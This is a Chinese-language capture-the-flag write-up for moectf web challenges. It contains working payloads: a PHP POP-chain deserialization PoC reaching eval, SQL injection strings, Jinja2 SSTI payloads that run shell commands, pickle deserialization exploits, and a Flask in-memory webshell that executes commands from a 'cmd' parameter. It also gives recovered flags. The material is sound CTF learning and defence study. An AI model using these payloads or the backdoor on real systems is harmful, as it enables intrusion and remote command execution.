ProveYourLove

# 源码
<!DOCTYPE html>
<html>
<head>
    <title>表白墙</title>
    <meta charset="utf-8">
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 20px;
            padding: 0;
            background-image: url('static/image.jpg');
            background-size: cover;
            background-repeat: no-repeat;
            background-position: center center;
            color: #fff;
        }
        .container {
            max-width: 600px;
            margin: 0 auto;
            background: rgba(0, 0, 0, 0.6); /* 半透明背景 */
            padding: 20px;
            border-radius: 8px;
        }
        h1 {
            text-align: center;
            margin-top: 0;
        }
        form {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-top: 10px;
        }
        input[type="text"], textarea, select {
            width: calc(100% - 16px); /* 统一宽度,减去内边距 */
            padding: 8px;
            margin-top: 5px;
            border-radius: 4px;
            border: 1px solid #ddd;
            background-color: rgba(255, 255, 255, 0.2); /* 半透明背景 */
            color: #fff;
            box-sizing: border-box; /* 确保宽度包括内边距和边框 */
        }
        textarea {
            width: calc(100% - 16px); /* 确保文本区域宽度一致 */
        }
        input[type="submit"] {
            margin-top: 10px;
            padding: 10px 20px;
            font-size: 16px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        input[type="submit"]:hover {
            background-color: #45a049;
        }
        .status {
            margin-top: 20px;
            text-align: center;
            font-size: 18px;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>表白墙</h1>
        <form id="confessionForm">
            <label for="nickname">昵称:</label>
            <input type="text" id="nickname" name="nickname" required placeholder="输入您的昵称">

            <label for="user_gender">您的性别:</label>
            <select id="user_gender" name="user_gender" required>
                <option value="male">男</option>
                <option value="female">女</option>
                <option value="other">其他</option>
            </select>

            <label for="target">表白对象:</label>
            <input type="text" id="target" name="target" required placeholder="输入您表白的对象">

            <label for="target_gender">表白对象的性别:</label>
            <select id="target_gender" name="target_gender" required>
                <option value="male">男</option>
                <option value="female">女</option>
                <option value="other">其他</option>
            </select>

            <label for="message">表白内容:</label>
            <textarea id="message" name="message" rows="6" required placeholder="输入您的表白内容"></textarea>

            <label for="anonymous">是否匿名:</label>
            <select id="anonymous" name="anonymous" required>
                <option value="false">不匿名</option>
                <option value="true">匿名</option>
            </select>

            <input type="submit" value="提交表白">
        </form>

        <div class="status">
            当前表白份数: <span id="confessionCount">加载中...</span><br>
            flag: <span id="flag">访问confession_count获取</span><br>
            Qixi_flag: <span id="Qixi_flag">访问questionnaire_count获取</span>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            // 获取当前表白份数
            fetch('/confession_count')
                .then(response => response.json())
                .then(data => {
                    document.getElementById('confessionCount').textContent = data.count;
                    document.getElementById('flag').textContent = data.flag;
                    document.getElementById('Qixi_flag').textContent = data.Qixi_flag;
                })
                .catch(error => {
                    console.error('Error:', error);
                });
        });

        document.getElementById('confessionForm').addEventListener('submit', function(event) {
            event.preventDefault(); // 阻止表单的默认提交行为

            // 检查设备是否已提交过表白
            if (localStorage.getItem('confessionSubmitted')) {
                alert('您已经提交过表白,不能重复提交。');
                return;
            }

            // 发起 OPTIONS 请求
            fetch('/questionnaire', {
                method: 'OPTIONS'
            })
            .then(response => {
                if (!response.ok) {
                    throw new Error('OPTIONS 请求失败');
                }

                // 获取表单数据
                const formData = new FormData(event.target);
                const data = {};
                formData.forEach((value, key) => {
                    data[key] = value;
                });

                // 提交表白数据
                return fetch('/questionnaire', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(data)
                });
            })
            .then(response => response.json())
            .then(result => {
                if (result.success) {
                    alert('表白提交成功!');
                    localStorage.setItem('confessionSubmitted', 'true');

                    // 更新表白份数
                    fetch('/confession_count')
                        .then(response => response.json())
                        .then(data => {
                            document.getElementById('confessionCount').textContent = data.count;
                            document.getElementById('flag').textContent = data.flag;
                            document.getElementById('Qixi_flag').textContent = data.Qixi_flag;
                        })
                        .catch(error => {
                            console.error('Error:', error);
                        });
                } else {
                    alert('表白提交失败,请稍后重试。');
                }
            })
            .catch(error => {
                console.error('Error:', error);
            });
        });
    </script>
</body>
</html>

题目给了Hint,必须发送300次才可以得到flag

问题在于,每次发送后会在本地储存confessionSubmitted=true这样的话第二次储存就会不允许发送

于是只要在发起请求的时候加上 Cache-Control: no-store来阻止进行本地储存,使用burp发送300遍即可得到flag

当前表白份数: 329
flag: moectf{c0NgRaTuL@tioNs-ON-6EC0M1Ng-4-Lick1NG_dOG48}
Qixi_flag: moeCTF{Happy_Chin3s3_Va13ntin3's_Day,_Baby.}

弗拉格之地的挑战

web 七龙珠

欢迎来到弗拉格之地进行 web 七龙珠试炼

在这里,你将根据引导,完成数个任务,从而获得名为 flag 的东西

本次我们采用一个叫做分段 flag 的东西,将 flag 分为七颗龙珠,集齐七颗龙珠就可以获得最终的 flag

在这次挑战中,请随时准备好你的记事本哦

现在我们开始,提示在下面 ↓

/flag1ab.html

<html>
<head>
    <meta charset="UTF-8">
    <title>flag1</title>
</head>
<body>
<p>至少你会跳转 url (bushi</p>

<p>现在是第一道题,我们学习的是: html </p>

<p>这行字的下面一片空白,但是真的什么也没有吗?</p>

<!--恭喜你找到了网页的源代码,通常在这里题目会放一些提示,做题没头绪一定要先进来看一下-->
<!--flag1: bW9lY3Rm-->
<!--下一步:/flag2hh.php-->

</body>
</html>

恭喜你已经学会了如何查看网页源代码,但这还不够

这是第二题,本题关键词: http

想想服务器通过网络传输过来的,除了这个页面,还有什么?

# 抓包
flag2: e0FmdEV
nextpage: /flag3cad.php

我想,你应该已经知道 devtools 这个东西了。(不知道也没关系,你 f12 出来的就是 devtools)

那么现在在你面前的有两个教程:

\1. 尝试把 devtools 运用熟练

\2. 尝试下载一个别的什么玩意来使用

这题,我们还是学习 http

那么,我们来试一下同时把下面要求完成吧!

-————————————————————————–

请用 GET 方法传入一个 a 参数
再用 POST 方法传入一个 b 参数
你需要使用 admin 的身份验证

恭喜你已经基本掌握了 http 的最最最基础知识,先去下一关吧
flag3: yX3RoMXN
POST /flag3cad.php?a=1 HTTP/1.1
Host: localhost:8846
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: verify=admin
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

b=1

虽然但是,响应头有个fxxk: /flag3.php

啊?难道你不是从 http://localhost:8080/flag3cad.php?a=1 点击链接过来的吗?
坏了,肯定是哪里搞错了,要不你看看能不能自己临时凑合凑合?

Referer: http://localhost:8080/flag3cad.php?a=1

<head>
    <meta charset="UTF-8">
    <title>flag4</title>
</head>

ok, 你成功闯入了第四关!<br>本关考验你听声辩位的功夫,你需要按下开始按钮后,根据提示按下相应的按钮。<br><button onclick="start()">开始</button>
<span id="num"></span>
<br>
<div id="scope">
    <button onclick="getID(this)">1</button>
    <button onclick="getID(this)">2</button>
    <button onclick="getID(this)">3</button>
    <button onclick="getID(this)">4</button>
    <button onclick="getID(this)">5</button>
    <button onclick="getID(this)">6</button>
    <button onclick="getID(this)">7</button>
    <button onclick="getID(this)">8</button>
</div>

<script>
    var buttons = document.getElementById("scope").getElementsByTagName("button");
    for (var i = 0; i < buttons.length; i++) {
        buttons[i].id = i + 1;
    }
    function start() {
        document.getElementById("num").innerText = "9";
    }
    function getID(button) {
        if (button.id == 9) {
            alert("你过关!(铜人震声)\n我们使用 console.log 来为你生成 flag");
            fetch('flag4bbc.php', {
                method: 'post',
                body: 'method=get',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
            }).then((data) => {
                return data.json();
            }).then((result) => {
				console.log(result.hint);
                console.log(result.fll);
                console.log(result.goto)
            });
        } else {
            alert("该罚!(头部碰撞声)")
        }
    }
</script>

添加一个button即可

恭喜你!你已经知道,前端的一切都是可以更改的! 
flag4: fdFVUMHJ
前往:/flag5sxr.php
<script>
    function checkValue() {
        var content = document.forms["form"]["content"].value;
        if (content == "I want flag") {
            alert("你就这么直接?");
            return false;
        } else {
            return true;
        }
    }
</script>

burp抓包发送

恭喜,我相信你已经深刻了解了前端不可信任的道理!

flag5: fSV90aDF
<?php
highlight_file("flag6diw.php");
if (isset($_GET['moe']) && $_POST['moe']) {
    if (preg_match('/flag/', $_GET['moe'])) {
        die("no");
    } elseif (preg_match('/flag/i', $_GET['moe'])) {
        echo "flag6: xxx";
    }
}

提示已经很明显了,大小写绕过

flag6: rZV9VX2t

POST: what=system('tac /flag7');

flag7:rbm93X1dlQn0=
flag: bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0= base64-->
      moectf{AftEr_th1s_tUT0r_I_th1ke_U_kknow_WeB}

pop moe

<?php

class class000 {
    private $payl0ad = 0;
    protected $what;

    public function __destruct()
    {
        $this->check();
    }

    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    private $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

if(isset($_GET['data']))
{
    $a = unserialize($_GET['data']);
}
else {
    highlight_file(__FILE__);
}

可以利用的函数是class003类的evvval函数里的eval,然后反推看看怎么触发。

1.class002类的dangerous函数,如果$whaatttclass003类,就可以触发evvval

2.同类下的__set可以触发dangerous$bdangerous$sec就是要传递的参数,就是class003

3.同时我们发现一个问题,如果此时$secclass003,那么作为evvval函数的参数,要求传入的变量是字符串,但是我们传入的是一个类,进而就会触发__tostring函数,返回~类的$mystr,所以只要给$mystr赋值,就解决了eval函数的参数问题

__toString() //---- 把类当作字符串使用时触发

4.接着反向分析,如何触发__set

 __set() //--------- 用于将数据写入不可访问的属性
class test {
     private $name = "Jay";
     public function __set($name, $input)
    {
        $this->$name = $input;
    }
 }
$test = new test();
$test->$name = "David";  # 因为name为私有变量,所以一般来说无法直接赋值的,所以此时会触发__set魔术方法
echo $test->$name;  # 输出"David"

在class001类中__invoke函数,如果$aclass002,那么在class002中并没有payload这样的属性,于是会触发class002中的__set,此时$this->payl0ad即为上述例子中的$input,也是题目中__set中的$b,所以只需要让$payl0addangerous即可

5.如何触发__invoke

__invoke() //------ 当尝试将对象调用为函数时触发

很容易发现只需要将class000类中的$what赋值为class001即可触发__invoke()

至此,完整的pop链为

class000.__destruct() --> class000.check() --> class001.__invoke() --> class002.__set() --> class002.dangerous() --> class003.evvval() --> class003.__tostring()

POC:

<?php

class class000 {
    private $payl0ad = 1;
    public $what; // protected
}

class class001 {
    public $payl0ad = 'dangerous';
    public $a;
}

class class002 {
    public $sec;
}

class class003 {
    public $mystr;
}

$a = new class000();
$a->what =new class001();
$a->what->a = new class002();
$a->what->a->sec = new class003();
$a->what->a->sec->mystr = "phpinfo();";
echo urlencode(serialize($a));
moectf{1T_sEEmS_tH@t-YOU_Know-WH4t-is-pOP-lN_pHPpPpPPp!!!39} 

勇闯铜人阵

有时间限制,所以基本思路就是写脚本通关

import requests
from bs4 import BeautifulSoup
import re


def getKeyword(response):
    beautiful_soup = BeautifulSoup(response.text, "html.parser")
    key_text = beautiful_soup.find("h1", id="status")
    print(key_text.text.strip())
    return key_text


direct_dic = {
    '1': "北方一个",
    '2': "东北方一个",
    '3': "东方一个",
    '4': "东南方一个",
    '5': "南方一个",
    '6': "西南方一个",
    '7': "西方一个",
    '8': "西北方一个"
}
url = "http://localhost:7650/"
response = requests.get(f"{url}restart")
getKeyword(response)
session = requests.Session()
post_data = {
    "player": "hsad",
    "direct": "弟子明白"
}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
print(post_data)
response = session.request("POST", url, data=post_data, headers=headers)
for _ in range(100):  # 7, 1
    res = getKeyword(response)
    match = re.findall(r'(\d+)', res.text)
    # print(match)
    number = [int(num) for num in match]
    # print(number)
    if ', ' in res.text:
        post_data['direct'] = f"{direct_dic[str(number[0])]}{direct_dic[str(number[1])]}"
        print(post_data)
    else:
        post_data['direct'] = direct_dic[str(number[0])]
        print(post_data)
    response = session.post(url, data=post_data, headers=headers)
    # print(response.text)
    if res is not None and 'moectf' in response.text:
        match = re.search(r'moectf(.*)', response.text)
        if match:
            print(f"{match.group(0)[:-6]}")
            exit(0)

静态网页

点击小人 会有你再点我我也不会告诉你我的衣服是向后端请求的! 的提示(当时没加载出来小人 恼😡

有个提示Please turn to final1l1l_challenge.php

<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
    if (!is_numeric($a) && !is_numeric($b)) {
        if ($a == 0 && md5($a) == $b[$a]) {
            echo $flag;
        } else {
            die('noooooooooooo');
        }
    } else {
        die( 'Notice the param type!');
    }
} else {
    die( 'Where is your param?');
} Where is your param?

Payload:

GET: /?a=0a
POST: b[0a]=e99bb33727d338314912e86fbdec87af

电院_Backend

<?php
error_reporting(0);
session_start();

if($_POST){
    $verify_code = $_POST['verify_code'];

    // 验证验证码
    if (empty($verify_code) || $verify_code !== $_SESSION['captcha_code']) {
        echo json_encode(array('status' => 0,'info' => '验证码错误啦,再输入吧'));
        unset($_SESSION['captcha_code']);
        exit;
    }

    $email = $_POST['email'];
    if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
        echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
        unset($_SESSION['captcha_code']);
        exit;
    }

    $pwd = $_POST['pwd'];
    $pwd = md5($pwd);
    $conn = mysqli_connect("localhost","root","123456","xdsec",3306);


    $sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
    $result = mysqli_query($conn,$sql);
    $row = mysqli_fetch_array($result);

    if($row){
        $_SESSION['admin_id'] = $row['id'];
        $_SESSION['admin_email'] = $row['email'];
        echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
    } else{
        echo json_encode(array('status' => 0,'info' => '管理员邮箱或密码错误'));
        unset($_SESSION['captcha_code']);
    }
}


?>

email存在sql注入

123@a.b' || 1=1 #
[email protected]' union select 1,2,3 --

Re: 从零开始的 XDU 教书生活

代码思路是首先,使用老师的账号登录并获取二维码,然后退出登录。用每个学生的账号进行登录,使用事先获取的签到 URL 来完成签到。

import requests

url = 'http://localhost:13188/'
teacher_phone = '10000'
password = teacher_phone

QR_code_params = {
    "id": "4000000000000",
    "c": "3762430308471",
    "enc": "0377888AF8B58F67EF953A99406D18F9",
    "DB_STRATEGY": "PRIMARY_KEY",
    "STRATEGY_PARA": "id"
}

# 持续化 session
session = requests.session()

def teacher_login():
    try:
        response = session.post(f"{url}/fanyalogin", data={
            "uname": teacher_phone,
            "password": password
        })
        response_data = response.json()
        if response_data.get('status'):
            print("Teacher logged in successfully.")
        else:
            raise Exception("Teacher login failed.")
    except Exception as e:
        print(f"Error during teacher login: {e}")
        raise

def get_student_account():
    try:
        response = session.get(f"{url}/widget/sign/pcTeaSignController/showSignInfo1")
        students = response.json().get("data", {}).get("changeUnSignList", [])
        return [student["uid"] for student in students]
    except Exception as e:
        print(f"Error fetching student account: {e}")
        return []

def student_login(phone):
    try:
        response = session.post(f"{url}/fanyalogin", data={
            "uname": str(phone),
            "password": str(phone)
        })
        return response.json().get('status', False)
    except Exception as e:
        print(f"Error during student login for {phone}: {e}")
        return False

def scan_QR():
    try:
        response = session.get(f"{url}/widget/sign/e", params=QR_code_params)
        return response.text
    except Exception as e:
        print(f"Error scanning QR code: {e}")
        return ""

def main():
    teacher_login()
    student_phones = get_student_account()

    if not student_phones:
        print("No students to process.")
        return

    successful_sign_ins = 0

    for index, phone in enumerate(student_phones, start=1):
        print(f"Processing student {phone} (#{index})...")
        if student_login(phone):
            print(f"Student {phone} logged in successfully.")
            result = scan_QR()
            print(f"Scan result for student {phone}: {result}")
            if "签到成功" in result:
                successful_sign_ins += 1
            # Clear session cookies to prevent carry-over issues
            session.cookies.clear()
        else:
            print(f"Student {phone} login failed.")

    print(f"All students processed. Total successful sign-ins: {successful_sign_ins}.")
    if successful_sign_ins == len(student_phones):
        print("All students have signed in successfully.")
    else:
        print(f"{len(student_phones) - successful_sign_ins} students failed to sign in.")

if __name__ == "__main__":
    main()

who’s blog?

这里曾经是 Sxrhhh 的个人小站。但是迫于压力,Sxrhhh 只能拍卖自己的网站了。提供你的 id 来领养这个可怜的网站吧

GET传入id 然后博客中就会出现我们的 id 内容。

Payload:

GET: /?id={{lipsum.__globals__['os'].popen('echo $FLAG').read()}}
     /?id={{cycler.__init__.__globals__.os.popen('echo $FLAG').read()}}
     /?id={{config.__class__.__init__.__globals__['os'].popen('echo $FLAG').read()}}

ImageCloud

随便传个文件,点击已上传文件查看,发现url中有/image?url=http://localhost:5000/static/{filename}题目给了源码文件,5000端口映射在外网,但是app2.py运行在一个随机端口(5001- 6000)需要借助ssrf爆破内网app2的端口

PetStore

pickle反序列化 关键函数

from flask import Flask, request, jsonify, render_template, redirect
import pickle
import base64
import uuid

app = Flask(__name__)

class Pet:
    def __init__(self, name, species) -> None:
        self.name = name
        self.species = species
        self.uuid = uuid.uuid4()

    def __repr__(self) -> str:
        return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"

class PetStore:
    def __init__(self) -> None:
        self.pets = []

    def create_pet(self, name, species) -> None:
        pet = Pet(name, species)
        self.pets.append(pet)

    def get_pet(self, pet_uuid) -> Pet | None:
        for pet in self.pets:
            if str(pet.uuid) == pet_uuid:
                return pet
        return None

    def export_pet(self, pet_uuid) -> str | None:
        pet = self.get_pet(pet_uuid)
        if pet is not None:
            self.pets.remove(pet)
            serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")
            return serialized_pet
        return None

    def import_pet(self, serialized_pet) -> bool:
        try:
            pet_data = base64.b64decode(serialized_pet)
            pet = pickle.loads(pet_data)
            if isinstance(pet, Pet):
                for i in self.pets:
                    if i.uuid == pet.uuid:
                        return False
                self.pets.append(pet)
                return True
            return False
        except Exception:
            return False

store = PetStore()

@app.route("/", methods=["GET"])
def index():
    pets = store.pets
    return render_template("index.html", pets=pets)

@app.route("/create", methods=["POST"])
def create_pet():
    name = request.form["name"]
    species = request.form["species"]
    store.create_pet(name, species)
    return redirect("/")

@app.route("/get", methods=["POST"])
def get_pet():
    pet_uuid = request.form["uuid"]
    pet = store.get_pet(pet_uuid)
    if pet is not None:
        return jsonify({"name": pet.name, "species": pet.species, "uuid": pet.uuid})
    else:
        return jsonify({"error": "Pet not found"})

@app.route("/export", methods=["POST"])
def export_pet():
    pet_uuid = request.form["uuid"]
    serialized_pet = store.export_pet(pet_uuid)
    if serialized_pet is not None:
        return jsonify({"serialized_pet": serialized_pet})
    else:
        return jsonify({"error": "Pet not found"})

@app.route("/import", methods=["POST"])
def import_pet():
    serialized_pet = request.form["serialized_pet"]
    if store.import_pet(serialized_pet):
        return redirect("/")
    else:
        return jsonify({"error": "Failed to import pet"})

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8888, debug=False, threaded=True)

import_pet函数会对传来的字符串进行反序列化

import base64
import pickle


class Test:
    def __reduce__(self):
        return (exec, ("import os;store.create_pet(os.getenv('FLAG'), 'flag');",))


if __name__ == "__main__":
    print(base64.b64encode(pickle.dumps(Test())).decode("utf-8"))

内存马上去后直接?cmd=env

# 内存马
import pickle
import base64

class Pet:
    def __reduce__(self):
        cmd_injection = "__import__('os').popen(request.args.get('cmd')).read()"
        return eval, ("__import__('sys').modules['__main__'].__dict__['app']"
                      ".before_request_funcs.setdefault(None, []).append(lambda :" + cmd_injection + ")",)

# 创建类实例并序列化为pickle,再进行base64编码
a = Pet()
b = pickle.dumps(a)
print(base64.b64encode(b).decode())